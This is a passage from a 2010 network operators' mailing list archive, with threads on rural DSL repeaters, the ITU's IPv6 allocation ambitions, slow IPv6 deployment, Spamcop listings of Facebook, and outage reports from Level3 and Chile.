can be extended infinitely far >> into the boondocks because those signal formats support repeaters. >> What >> I'm wondering is how can we do the same thing with SDSL - and I mean >> politically rather than technically. The technical part is easy: some >> COs already have CLECs in them that serve G.shdsl (I've been told that >> NEN does that) and for G.shdsl repeaters are part of the standard >> (searching around shows a few vendors making them); in the case of >> SDSL/2B1Q (Covad and DSL.net) there is no official support for >> repeaters >> and hence no major vendors making such, but I can build such a > repeater >> unofficially. >> >> The difficulty is with the political part, and that's where I'm > seeking >> the wisdom of this list. How would one go about sticking a mid-span >> repeater into an ILEC-owned 31 kft rural loop? From what I understand >> (someone please correct me if I'm wrong!), when a CLEC orders a loop >> from an ILEC, if it's for a T1 or IDSL, the CLEC actually orders a T1 >> or >> ISDN BRI transport from the ILEC rather than a dry pair, and any >> mid-span repeaters or HDSLx converters or the like become the >> responsibility of the ILEC rather than the CLEC, right? >> >> So how could one extend this model to provide, say, repeatered G.shdsl >> service to far-outlying rural subscribers? Is there some political >> process (PUC/FCC/etc) by which an ILEC could be forced to allow a > third >> party to stick a repeater in the middle of their loop? Or would it >> have >> to work by way of the ILEC providing a G.shdsl transport service to >> CLECs, with the ILEC being responsible for the selection, procurement >> and deployment of repeater hardware? And what if the ILEC is not >> interested in providing such a service - any PUC/FCC/etc political >> process via which they could be forced to cooperate? >> >> Things get even more complicated in those locations where the CO has a >> Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC serving >> G.shdsl. Even if the ILEC were to provide a G.shdsl transport service >> with repeaters, it wouldn't help with SDSL/2B1Q. My idea involves >> building a gadget in the form factor of a standard mid-span repeater >> that would function as a converter from SDSL/2B1Q to G.shdsl: if the >> loop calls for one mid-span repeater, stick this gadget in as if it >> were that repeater; if the loop calls for 2 or more repeaters, use my >> gadget as the first "repeater" and then standard G.shdsl repeaters >> after it. But of course this idea is totally dependent on the ability >> of a third party to stick these devices in the middle of long rural >> loops, perhaps in the place of loading coils which are likely present >> on such loops. >> >> Any ideas? >> >> MS > > > From mirotrem at gmail.com Fri Feb 26 18:36:37 2010 From: mirotrem at gmail.com (Chadwick Sorrell) Date: Fri, 26 Feb 2010 19:36:37 -0500 Subject: Revelation Networks Message-ID: Does anyone have any experiences with Revelation Networks? They're AS26821, and I'm looking for good or bad experiences with their services. Prefer an off-list reply. Thanks From nick at foobar.org Fri Feb 26 18:45:39 2010 From: nick at foobar.org (Nick Hilliard) Date: Sat, 27 Feb 2010 00:45:39 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> Message-ID: <4B886B33.9080403@foobar.org> On 26/02/2010 22:13, David Conrad wrote: > If you want to be really frightened, remember that the IPv4 free pool > is going to be exhausted in something like 576 days. Given the lack > of IPv6 deployment, the subsequent food fights that erupt as markets > in IPv4 addresses are established are likely going to be > "interesting". Politicians very much like to be seen to be "doing > something" in interesting food fights. There is no doubt that there will be the most unholy bun-fight. Journalists will elevate themselves to the highest ivory towers and crow about how they foresaw all this happening years in advance, if only anyone had bothered to listen to them. Communications regulators will tut-tut loudly and commission long-winded reports on the effect of ipv4 starvation to the Digital Economy, and set up sub-committees and sub-sub-committees to examine potential solutions, all due to report within an 18-24 month time-frame, and all recommending migration to ipv6 over time (woohoo! - what insight!). The vendors will have a field day selling NATs, carrier grade NATs and all sorts of magical upgrades, all designed at milking the last tiny amounts of value out of each single ipv4 address - and your wallet. Notwithstanding this, their IPv6 support will still be curiously badly implemented, tacked on as an afterthought for those stingy service provider types rather than the cash-cow corporates and public sector customers who'll swallow anything that's given a good review in the trade rags. The WSIS will turn into a shouting match, or even more of a shouting match. Actually, scratch that: it'll turn into a foaming pit of rabid evangelists, each preaching their gospel of ill-informed craziness, allowing the ITU to step in and demonstrate that their mature and seasoned approach to the problem is the only realistic way of dealing with ipv4 scarcity, if only the internet and its short-sighted approach to proper standards based telco engineering were to come under their control. And the politicians. Yes, they will erupt in hitherto unseen outbursts of self-righteous indignation at the stupid internet engineers who let this problem happen in the first place and who made no provision whatsoever for viable alternatives, and will then declare the the only reasonable way of dealing with the problem is their particular type of regulation, mandating this or that but - funnily enough - very little of it making any sense whatever and all of it adding to the old maxim that there is no problem which exists which can't be made worse by regulation. As you note, anything for a couple of column inches. Oh, it will be fun. Nick From Skeeve at eintellego.net Fri Feb 26 19:14:03 2010 From: Skeeve at eintellego.net (Skeeve Stevens) Date: Sat, 27 Feb 2010 12:14:03 +1100 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <877585b01002260847q27b2dce9ra4a897e5b4749153@mail.gmail.com> References: <4B87B875.6000509@tuenti.com> <877585b01002260847q27b2dce9ra4a897e5b4749153@mail.gmail.com> Message-ID: <292AF25E62B8894C921B893B53A19D973974B77CB7@BUSINESSEX.business.ad> > I believe the ITU intends to set themselves up as an alternative to > the RIRs with a large IANA allocation, if they can get it. > > --Michael Dillon Michael, But doesn't the IETF own the control of IPv6? Couldn't the ITU bypass IANA and get an allocation directly from them? -- Skeeve Stevens, CEO/Technical Director eintellego Pty Ltd - The Networking Specialists skeeve at eintellego.net / www.eintellego.net Phone: 1300 753 383, Fax: (+612) 8572 9954 Cell +61 (0)414 753 383 / skype://skeeve www.linkedin.com/in/skeeve ; facebook.com/eintellego -- NOC, NOC, who's there? From owen at delong.com Fri Feb 26 19:31:41 2010 From: owen at delong.com (Owen DeLong) Date: Fri, 26 Feb 2010 17:31:41 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8843F4.9070108@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> Message-ID: On Feb 26, 2010, at 1:58 PM, Nick Hilliard wrote: > On 26/02/2010 21:13, Antonio Querubin wrote: >> Some googling for 'itu ipv6' turns up the following (among other things): >> >> http://www.itu.int/net/ITU-T/ipv6/itudocs.aspx > > Wow, there are some real classics in there. Anyone in need of a good end-of-week belly laugh should take a look at "Delayed Contribution 93" and "Contribution 30". > > The pitiful level of misunderstanding displayed by the authors of these documents is frightening. > > Nick What is more frightening is that when these authors get their contributions turned into ITU policy, it often carries the force of law in many jurisdictions. Owen From danny at tcb.net Fri Feb 26 20:38:01 2010 From: danny at tcb.net (Danny McPherson) Date: Fri, 26 Feb 2010 19:38:01 -0700 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <20100226184127.7da9733b@cs.columbia.edu> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <20100226184127.7da9733b@cs.columbia.edu> Message-ID: On Feb 26, 2010, at 4:41 PM, Steven M. Bellovin wrote: > > I think that "PTT" is the operative token here, but for reasons having > nothing to do with competition. If all they wanted was competition, > the easy answer would be to set up more registries -- or registrars > -- not bounded by geography; as long as the number wasn't too large, it > wouldn't do too much violence to the size of the routing tables. > > If a PTT-like body is *the* registry for a country, and if the country > chose to require local ISPs and business to obtain address space from > it, what's the natural prefix announcement to the world? Right -- that > country's registry prefix, which means that all traffic to that country > just naturally flows through the PTT's routers and DPI boxes. And it > benefits everyone, right? It really cuts down on the number of prefixes > we have to worry about.... Until routing domains (i.e., ASNs) are carved up to become congruent to national boundaries for national security, censorship or other reasons. When this happens, not only will those IPv6 prefixes become fragmented, so to will their legacy IPv4 space, and certainly to the detriment of routing scalability, security, and stability. Then add something like RPKI to the mix and you've got a very effective hammer to enforce national policy - all network operators will use the national RPKI trust anchor, and all of your address space will be allocated (and certified) strictly from this national Internet registry - so that they can surgically control precisely who can reach you, and who you can reach - within the whole of the global routing system, and DPI, tariffing, etc.. are all much akin to models of yester that they can wrap their heads around. And all the efforts and bottom-up policy driven by the RIRs in the current model will dry up, as will the RIR revenue sources, and their much wider contributions to the Internet community. If you think the RIRs and the current model sucks, well, consider the alternatives. For that matter, so to better the RIRs and their constituents. > It's funny -- just yesterday, I was telling my class that the > Internet's connectivity was not like the pre-deregulation telco model. > The latter had O(1) telco/country, with highly regulated > interconnections to anywhere else. The Internet grew up under the > radar, partly because of the deregulatory climate and partly because > especially in the early days, it wasn't facilities-based -- if you > wanted an international link to a peer or a branch office, you just > leased the circuit. The result was much richer connectivity than in > the telco world, and -- in some sense -- less "order". Syria wants to > roll the clock back. I can't believe that the current model of more dense interconnection, continued disintermediation, and a far more robust IP fabric would evolve to be more resilient and robust from national Internet registry allocation models or the Internet routing system rearchitecting that's sure to follow. Of course, if the ITU-T is serious about this, they should probably be asking for a good chunk of 32-bit ASNs as well, but that's a bit more difficult to do under the auspices of liberating IPv6. -danny From pizon at linux-advocacy.org Fri Feb 26 20:57:55 2010 From: pizon at linux-advocacy.org (Greg Bur) Date: Fri, 26 Feb 2010 20:57:55 -0600 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> References: <1002262134.AA10367@ivan.Harhan.ORG> <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> Message-ID: <1267239475.16169.41.camel@jefferson.fw.pizon.org> On Fri, 2010-02-26 at 18:10 -0500, Paul Bosworth wrote: > I think a lot of people often forget that ISPs are actually businesses > trying to turn a profit. That sums it up pretty well. In a previous life I operated an ISP in a small town. When I entered the arena there was one other competitor, another independent ISP deploying 2.4GHz wireless. The RBOC and cable company weren't even considering rolling out high speed service but there was a definite demand, especially from the business community. I ended up having some measure of success deploying a mix of 2.4GHz and 900MHz wireless with DSL to fill in a few gaps. Before I sold the business my main competitor folded and the RBOC pushed out DSL. I think the local cable company joined the fray a couple years ago, too. My achilles heel wasn't having to compete with a goliath RBOC, it was all of the marketing. People would see ads on TV and in newspapers from providers who didn't even serve the area. When they were told "sorry, no broadband for you" from one of these national providers they would often accept that as a final answer. Folks often confused my wireless service with cellular or satellite access. They would have a hard time understanding why I could not provide them service well out of range of my POP where they could get "four bars" on their cell phone. Toward the end I floated the idea of a co-op but local politics prevailed over common sense and I quietly exited the business. Things are slightly better today but the areas that were underserved four years ago are still underserved. Population density will keep it that way for some time but I think people have better options today than a few years ago. My parents still only have 384k DSL but they are quite satisfied with it. Broadband co-ops will help in areas where local politics don't get in the way, but otherwise it is like Paul said, it's just business. That's my two cents, feel free to give change. From rsk at gsp.org Fri Feb 26 21:15:28 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Fri, 26 Feb 2010 22:15:28 -0500 Subject: Spamcop Blocks Facebook? In-Reply-To: <4B873C9D.1030204@unwiredbb.com> References: <4B873C9D.1030204@unwiredbb.com> Message-ID: <20100227031528.GA3052@gsp.org> [ This discussion really should be on spam-l, not nanog. ] I'm not affiliated with Spamcop, however, it's well-known among those of us who work in this area that (a) Facebook has been spamming for quite some time and (b) they're not the only "social network" that's doing so. So it's not especially surprising that one or more DNSBLs/RHSBLs is/are listing them: they've earned it. Point of order, however: Spamcop blocks nothing. Mail system administrators who choose to use their resources may block or score or tag or ignore at their discretion. ---Rsk From regnauld at nsrc.org Fri Feb 26 22:04:12 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Sat, 27 Feb 2010 12:04:12 +0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B886B33.9080403@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> Message-ID: <20100227040406.GH13373@macbook.catpipe.net> Nick Hilliard (nick) writes: > > And the politicians. Yes, they will erupt in hitherto unseen > outbursts of self-righteous indignation at the stupid internet > engineers who let this problem happen in the first place and who > made no provision whatsoever for viable alternatives, Um, not to be the party pooper of your fire-and-brimstone scenario, but IPv6 deployment has taken quite a bit longer than expected. I'm not saying that political incentives (carrot & stick) or government regulations in the line of "implement IPv6 before X/Y or else..." have had any effect, except maybe in Japan: look how long it took for the EU commission to jump on the bandwagon, for instance (or for that matter, how long it took any government to take IP seriously). But if was asked why IPv6 hasn't been deployed earlier, I'd be hard pressed to come up with a simple answer. "It wasn't ready" is probably not considered good enough for an elected official. BOFH excuse generator anyone ? > Oh, it will be fun. Yay. From tomb at byrneit.net Fri Feb 26 23:15:56 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Fri, 26 Feb 2010 21:15:56 -0800 Subject: Spamcop Blocks Facebook? In-Reply-To: <20100227031528.GA3052@gsp.org> References: <4B873C9D.1030204@unwiredbb.com> <20100227031528.GA3052@gsp.org> Message-ID: <72F9A69DCF990443B2CEC064E605CE0608553F@Pascal.zaphodb.org> There's more to it than just that Facebook themselves occasionally fit the profile of a spammer, and so some of the more stringent networks may filter mail from them. Facebook is a major source of drive-by malware, and some of the apps on Facebook tread close to the spyware/adware/parasite line and so other security tools/IP reputation services, depending on how they implement the blocks for the droppers, and other undesirables, may actually filter all traffic to/from the FB servers, as opposed to the dropper redirect or app/adware host. Regardless, for some subset of the world, reachability to various social networking sites is becoming less reliable. > -----Original Message----- > From: Rich Kulawiec [mailto:rsk at gsp.org] > Sent: Friday, February 26, 2010 7:15 PM > To: nanog at nanog.org > Subject: Re: Spamcop Blocks Facebook? > > [ This discussion really should be on spam-l, not nanog. ] > > I'm not affiliated with Spamcop, however, it's well-known among > those of us who work in this area that (a) Facebook has been spamming > for quite some time and (b) they're not the only "social network" > that's doing so. So it's not especially surprising that one or > more DNSBLs/RHSBLs is/are listing them: they've earned it. > > Point of order, however: Spamcop blocks nothing. Mail system > administrators who choose to use their resources may block or > score or tag or ignore at their discretion. > > ---Rsk From johnl at iecc.com Fri Feb 26 23:36:37 2010 From: johnl at iecc.com (John Levine) Date: 27 Feb 2010 05:36:37 -0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: Message-ID: <20100227053637.34763.qmail@simone.iecc.com> >There is much political froth being stirred up here. I don't see what the big deal is. It was patently unfair not to give every country a one-digit country code like the US and Russia have. So they don't want to make the same mistake with IPv6. R's, John From joe at nethead.com Sat Feb 27 00:10:58 2010 From: joe at nethead.com (Joe Hamelin) Date: Fri, 26 Feb 2010 22:10:58 -0800 Subject: Hotels in Tampa Message-ID: <79db6ae1002262210m17845236ua3d2f3f558bbdff7@mail.gmail.com> I'm going to be in Tampa for two weeks turning up a 4G data center. Any recommendations on good hotels that allow smoking? -- Joe Hamelin, W7COM, Tulalip, WA, 360-474-7474 From ops.lists at gmail.com Sat Feb 27 00:13:58 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Sat, 27 Feb 2010 11:43:58 +0530 Subject: Hotels in Tampa In-Reply-To: <79db6ae1002262210m17845236ua3d2f3f558bbdff7@mail.gmail.com> References: <79db6ae1002262210m17845236ua3d2f3f558bbdff7@mail.gmail.com> Message-ID: tripadvisor.com probably has a lot of hotel reviews for you. carrier hotels that allow smoking (!) might be more on topic on nanog i guess? On Sat, Feb 27, 2010 at 11:40 AM, Joe Hamelin wrote: > I'm going to be in Tampa for two weeks turning up a 4G data center. > Any recommendations on good hotels that allow smoking? -- Suresh Ramasubramanian (ops.lists at gmail.com) From shon at unwiredbb.com Sat Feb 27 00:16:48 2010 From: shon at unwiredbb.com (Shon Elliott) Date: Fri, 26 Feb 2010 22:16:48 -0800 Subject: Level3 tonight in Washington/New York Message-ID: <4B88B8D0.8010303@unwiredbb.com> Is anyone else seeing some serious Packet Loss from New York/Washington area within Level3's network tonight? I'm seeing around 5% packet loss.. -S From oberman at es.net Sat Feb 27 00:20:38 2010 From: oberman at es.net (Kevin Oberman) Date: Fri, 26 Feb 2010 22:20:38 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: Your message of "Sat, 27 Feb 2010 12:04:12 +0800." <20100227040406.GH13373@macbook.catpipe.net> Message-ID: <20100227062038.38AD01CC0E@ptavv.es.net> > Date: Sat, 27 Feb 2010 12:04:12 +0800 > From: Phil Regnauld > > Nick Hilliard (nick) writes: > > > > And the politicians. Yes, they will erupt in hitherto unseen > > outbursts of self-righteous indignation at the stupid internet > > engineers who let this problem happen in the first place and who > > made no provision whatsoever for viable alternatives, > > Um, not to be the party pooper of your fire-and-brimstone scenario, > but IPv6 deployment has taken quite a bit longer than expected. > > I'm not saying that political incentives (carrot & stick) or government > regulations in the line of "implement IPv6 before X/Y or else..." have > had any effect, except maybe in Japan: look how long it took for the > EU commission to jump on the bandwagon, for instance (or for that matter, > how long it took any government to take IP seriously). > > But if was asked why IPv6 hasn't been deployed earlier, I'd be hard > pressed to come up with a simple answer. "It wasn't ready" > is probably not considered good enough for an elected official. I'm sorry, but some people are spending too much time denying history. IPv6 has been largely ready for YEARS. Less than five years ago a lot of engineers were declaring IPv6 dead and telling people that double and triple NAT was the way of the future. It's only been over the past two years that a clear majority of the networks seemed to agree that IPv6 was the way out of the mess. (I know some are still in denial.) Among the mistakes made was the abandonment of NAT-PT as a transition mechanism. The BEHAVE working group has resurrected it and I still have hope of a decent system, but it has not happened as of today and we need it yesterday. Because so many network engineers or their managers decided that IPv6 was either not going to happen or was too far down the line to worry about, vendors got a clear message that there was no need to spend development money adding IPv6 support to products or implement it for their services. I won't go into the mistakes made by the IETF because they were doing something very un-IETF under tremendous time pressure. The standards were developed on paper with almost no working code. This was because the IETF assumed that we would run out of IPv4 long ago since the basics of IPv6 pre-date CIDR. They pre-date NAT. Yes, IPv6 has been around THAT long. At leat one network was running IPv6 on its network, available to users for testing for over 15 years ago. It's been a production service for years. Let's face reality. We have met the enemy and he is us. (Apologies to Walt Kelly.) We, the network engineers simply kept ignoring IPv6 for years after it was available. Almost all operating systems have been IPv6 capable for at least five years and most much longer. Most routers have been IPv6 ready for even longer. But we didn't move IPv6 into services nor offer it to customers. As a result, it just sat there. Code was not exercised and bugs were not found. Reasonable transition mechanisms are nowhere to be seen, and the cost of fixing this (or working around it) has grown to frightening proportions. There is a lot of blame we can spread around, but take moment and look in a mirror while you parcel it out. I think we are more responsible for the situation than anyone else. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From chaim.rieger at gmail.com Sat Feb 27 01:20:23 2010 From: chaim.rieger at gmail.com (chaim.rieger at gmail.com) Date: Sat, 27 Feb 2010 07:20:23 +0000 Subject: Chile (fyi) Message-ID: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> Gettingreports of loss of connectivity to parts of chile They had an 8.5 a short while ago. Sent via BlackBerry from T-Mobile From khuon at neebu.net Sat Feb 27 01:33:00 2010 From: khuon at neebu.net (Jake Khuon) Date: Fri, 26 Feb 2010 23:33:00 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <20100227062038.38AD01CC0E@ptavv.es.net> References: <20100227062038.38AD01CC0E@ptavv.es.net> Message-ID: <1267255980.10496.102.camel@localhost> On Fri, 2010-02-26 at 22:20 -0800, Kevin Oberman wrote: > Let's face reality. We have met the enemy and he is us. (Apologies to > Walt Kelly.) We, the network engineers simply kept ignoring IPv6 for > years after it was available. Almost all operating systems have been > IPv6 capable for at least five years and most much longer. Most > routers have been IPv6 ready for even longer. But we didn't move IPv6 > into services nor offer it to customers. As a result, it just sat > there. Code was not exercised and bugs were not found. Reasonable > transition mechanisms are nowhere to be seen, and the cost of fixing > this (or working around it) has grown to frightening proportions. Say it brother! The fact of the matter is that by and large, the operator community not only ignored IPv6 but many poo-poo'ed it and diminished any amount of support for it from the small contingent of those who were willing to progress its deployment. In the past there were claims that it was immature and flawed but for the most part no one really wanted to commit themselves to putting up or shutting up. Meanwhile clued and semi-clued users watching from sidelines could do nothing but play in a vacuum and yell in frustration as their providers ignore them as well. I speaking as a demoralised user personally gave up begging my provider for IPv6 connectivity. Yes, there's always tunnels but that's not the answer for real deployment. Remember how well tunnels worked out for multicast? As a result, we are in a situation today where we are now scrambling to do the things that should have evolved naturally. Worse than stale code is stale procedures and the lack of long-term growth and embracement. What this means is that while we once could have taken the chance and deployed a less than perfect technology, gotten early adopters and slowly progressed mass-adoption, we are now in a position that we have to undergo a crash-course in training and operational procedures. Beyond that, the user community will need to be educated and even more effort will need to be made in order to make things user-friendly. And because of the heightened need for more modern features as well as security, I might argue that we are relatively less prepared in our IPv6 development from a software standpoint than during the infancy of the protocol. It is often much easier for everyone involved if you slowly raise the bar rather than suddenly springing an Olympic level high-jump upon them. -- /*=================[ Jake Khuon ]=================+ | Packet Plumber, Network Engineers /| / [~ [~ |) | | -------- | | for Effective Bandwidth Utilisation / |/ [_ [_ |) |_| NETWORKS | +==================================================================*/ From joelja at bogus.com Sat Feb 27 03:18:33 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Sat, 27 Feb 2010 01:18:33 -0800 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> References: <1002262134.AA10367@ivan.Harhan.ORG> <25b132e91002261510y68a1e615y7c4a769b45916c68@mail.gmail.com> Message-ID: <4B88E369.4060004@bogus.com> On 02/26/2010 03:10 PM, Paul Bosworth wrote: > I think a lot of people often forget that ISPs are actually > businesses trying to turn a profit. Bearing in mind that the facilities that exist in much of the rural united states are actually there because we collectively payed for them rather than simply: waiting for the right set of economic incentives to exist or leaving people to suffer. It not unlikely in some cases that the economic incentive for universal service may never exist may never exist in some reasons which doesn't mean that we shouldn't do something about it. http://en.wikipedia.org/wiki/Rural_Electrification_Administration#History > At my last job we built out a fiber to the home ILEC in relatively > rural Louisiana. This means that we had quite a number of customers > that didn't meet the density requirements for deployment. Using > made-up numbers for the sake of discussion, lets assume that a > customer provides $1/month for service. If you can place deployment > in a highly-dense area you'll make a lot more of those $1's per month > with that investment. When you start deploying further to the edge > you really slide into the "we're not even breaking even on this" > market. Obviously anyone that has a job for profit knows that this is > a no-no. > > As telcos deploy high-density technologies (fiber, metroE, etc) they > can pull the legacy technology (xDSL, T1, etc) and push that to the > edge. Unfortunately the edge is always going to get the hand-me-downs > but it's better than nothing. My wife is from a tiny town in central > PA (the vortex between Pittsburgh and Philly) and her parents have > had dialup until last year, when the local telco finally pushed DSL > to their location. They only draw 1.5meg but it's better than the 56k > they were paying for. > > As they say in vegas, "It's just business, baby." > > > > On Fri, Feb 26, 2010 at 5:51 PM, Crooks, Sam > wrote: > >> I had good luck getting my dad some form of broadband access in >> rural Oregon using a 3g router (Cradlepoint), a Wilson Electronics >> signal amp (model 811211), and an outdoor mount high gain antenna. >> It's not great, but considering the alternatives (33.6k dialup for >> $60/mo or satellite broadband for $150-$200/mo) it wasn't a bad >> deal for my dad when you consider that the dialup ISP + dedicated >> POTS line cost about as much as the 5GB 3G data plan does. >> >> Speed is somewhere between dialup and Uverse or FIOS. I get the >> sense that it is somewhere in the range of 256 - 512 kbps with high >> latency (Dad's not one for much in the way of network performance >> testing). >> >> >> >>> -----Original Message----- From: Michael Sokolov >>> [mailto:msokolov at ivan.Harhan.ORG] Sent: Friday, February 26, 2010 >>> 3:35 PM To: nanog at nanog.org Subject: Locations with no good >>> Internet (was ISP in Johannesburg) >>> >>> Daniel Senie wrote: >>> >>>> Better than western Massachusetts, where there's just no >> connectivity >>> at = >>>> all. Even dialup fails to function over crappy lines. >>> >>> Hmm. Although I've never been to Western MA and hence have no >>> idea what the telecom situation is like over there, I'm certainly >>> aware of quite a few places in "first world USA" where DSL is >>> still a fantasy, let >> alone >>> fiber. >>> >>> As a local example, I have a friend in a rural area of Southern >>> California who can't get any kind of "high-speed Internet". I've >>> run >> a >>> prequal on her address and it tells me she is 31 kft from the CO. >>> The CO in question has a Covad DSLAM in it, but at 31 kft those >>> rural residents' options are limited to either IDSL at 144 kbps >>> (not much point in that) or a T1 starting at ~$700/month. The >>> latter figure is typically well out of range for the kind of >>> people who live in such places. >>> >>> That got me thinking: ISDN/IDSL and T1 can be extended infinitely >>> far into the boondocks because those signal formats support >>> repeaters. What I'm wondering is how can we do the same thing >>> with SDSL - and I mean politically rather than technically. The >>> technical part is easy: some COs already have CLECs in them that >>> serve G.shdsl (I've been told that NEN does that) and for G.shdsl >>> repeaters are part of the standard (searching around shows a few >>> vendors making them); in the case of SDSL/2B1Q (Covad and >>> DSL.net) there is no official support for repeaters and hence no >>> major vendors making such, but I can build such a >> repeater >>> unofficially. >>> >>> The difficulty is with the political part, and that's where I'm >> seeking >>> the wisdom of this list. How would one go about sticking a >>> mid-span repeater into an ILEC-owned 31 kft rural loop? From >>> what I understand (someone please correct me if I'm wrong!), when >>> a CLEC orders a loop from an ILEC, if it's for a T1 or IDSL, the >>> CLEC actually orders a T1 or ISDN BRI transport from the ILEC >>> rather than a dry pair, and any mid-span repeaters or HDSLx >>> converters or the like become the responsibility of the ILEC >>> rather than the CLEC, right? >>> >>> So how could one extend this model to provide, say, repeatered >>> G.shdsl service to far-outlying rural subscribers? Is there some >>> political process (PUC/FCC/etc) by which an ILEC could be forced >>> to allow a >> third >>> party to stick a repeater in the middle of their loop? Or would >>> it have to work by way of the ILEC providing a G.shdsl transport >>> service to CLECs, with the ILEC being responsible for the >>> selection, procurement and deployment of repeater hardware? And >>> what if the ILEC is not interested in providing such a service - >>> any PUC/FCC/etc political process via which they could be forced >>> to cooperate? >>> >>> Things get even more complicated in those locations where the CO >>> has a Covad DSLAM in it serving out SDSL/2B1Q, but no other CLEC >>> serving G.shdsl. Even if the ILEC were to provide a G.shdsl >>> transport service with repeaters, it wouldn't help with >>> SDSL/2B1Q. My idea involves building a gadget in the form factor >>> of a standard mid-span repeater that would function as a >>> converter from SDSL/2B1Q to G.shdsl: if the loop calls for one >>> mid-span repeater, stick this gadget in as if it were that >>> repeater; if the loop calls for 2 or more repeaters, use my >>> gadget as the first "repeater" and then standard G.shdsl >>> repeaters after it. But of course this idea is totally dependent >>> on the ability of a third party to stick these devices in the >>> middle of long rural loops, perhaps in the place of loading coils >>> which are likely present on such loops. >>> >>> Any ideas? >>> >>> MS >> >> >> > > From gordslater at ieee.org Sat Feb 27 04:53:38 2010 From: gordslater at ieee.org (gordon b slater) Date: Sat, 27 Feb 2010 10:53:38 +0000 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: <643429FE-57D4-4B39-82FD-C5BC1A9637D9@senie.com> References: <1002262134.AA10367@ivan.Harhan.ORG> <643429FE-57D4-4B39-82FD-C5BC1A9637D9@senie.com> Message-ID: <1267268018.14106.27.camel@ub-g-d2> On Fri, 2010-02-26 at 19:20 -0500, Daniel Senie wrote: > Hopefully someone will bother to cover the rural areas with cell > service eventually. > I'm finding a fair number (about 40%+) of the tech-savvy "must-have-for-business-emails" users here in very rural UK out of reach of RA-ADSL) are using/have used Lynx as their browser and Mutt as email client, in some cases even when 3G (fringe reception only, possibly with tropopausal involvement*) is sometimes reachable. This only came to my attention last week when I noticed a strange Mailer: header and kinda shocked me at first, so I quizzed the sender further. They say that WAP-enabled sites are a non-starter for "daily" use. Worth looking into if the end-user can handle it in these situations. Rural DSL for them usually means Damn Small Linux - their joke not mine. Gord (* I'm not convinced about this - it fits their anecdotes, but I'm not sure about the timing/latency issues of the RF-side ) -- Explain to me again how pig's bladders may be employed to prevent earthquakes From nick at foobar.org Sat Feb 27 05:26:58 2010 From: nick at foobar.org (Nick Hilliard) Date: Sat, 27 Feb 2010 11:26:58 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <20100227062038.38AD01CC0E@ptavv.es.net> References: <20100227062038.38AD01CC0E@ptavv.es.net> Message-ID: <4B890182.7070803@foobar.org> On 27/02/2010 06:20, Kevin Oberman wrote: > I'm sorry, but some people are spending too much time denying > history. IPv6 has been largely ready for YEARS. Less than five years ago > a lot of engineers were declaring IPv6 dead and telling people that > double and triple NAT was the way of the future. It's only been over the > past two years that a clear majority of the networks seemed to agree > that IPv6 was the way out of the mess. (I know some are still in > denial.) Certainly, ipv6 is as popular in some quarters as global warming at a GOP convention. > Let's face reality. We have met the enemy and he is us. (Apologies to > Walt Kelly.) We, the network engineers simply kept ignoring IPv6 for > years after it was available. It's not just the engineers. The problem is completely systemic to our culture. We live in a world where the planning window is the next financial quarter. If something doesn't make money during that period, then most organisations won't bother doing anything with it. And while some bits of ipv6 have been "ready" for years (icmp ping, for example), lots of other things haven't. There is a huge feature disparity in most networking equipment that I use. I still can't monitor my ipv6 BGP sessions because bgp4-mib2 hasn't been standardised. When I try to configure my firewall using the point-n-drool GUI which most people will use, it displays a friendly dialog box saying that my ipv6 configuration commands have been ignored. How many enterprise network admins are going to bother configuring ipv6 if their only configuration interface doesn't support it? The RA vs DHCPv6 debacle lingers on (and anyone who tries to claim that this isn't a debacle is living in cuckoo land), making what was supposed to be the simplest, easiest part of ipv6 a configuration mess involving multiple protocols. But the root cause is that proper ipv6 deployment costs money, and while lots of us have ipv6 deployed in our core, that's probably the easiest and cheapest part of our organisations to deploy it. After that, there's still provisioning systems, support/troubleshooting, multiple protocol stack security issues, and so forth. This is where the real deployment costs time and resources. Nick From nick at foobar.org Sat Feb 27 05:49:11 2010 From: nick at foobar.org (Nick Hilliard) Date: Sat, 27 Feb 2010 11:49:11 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The 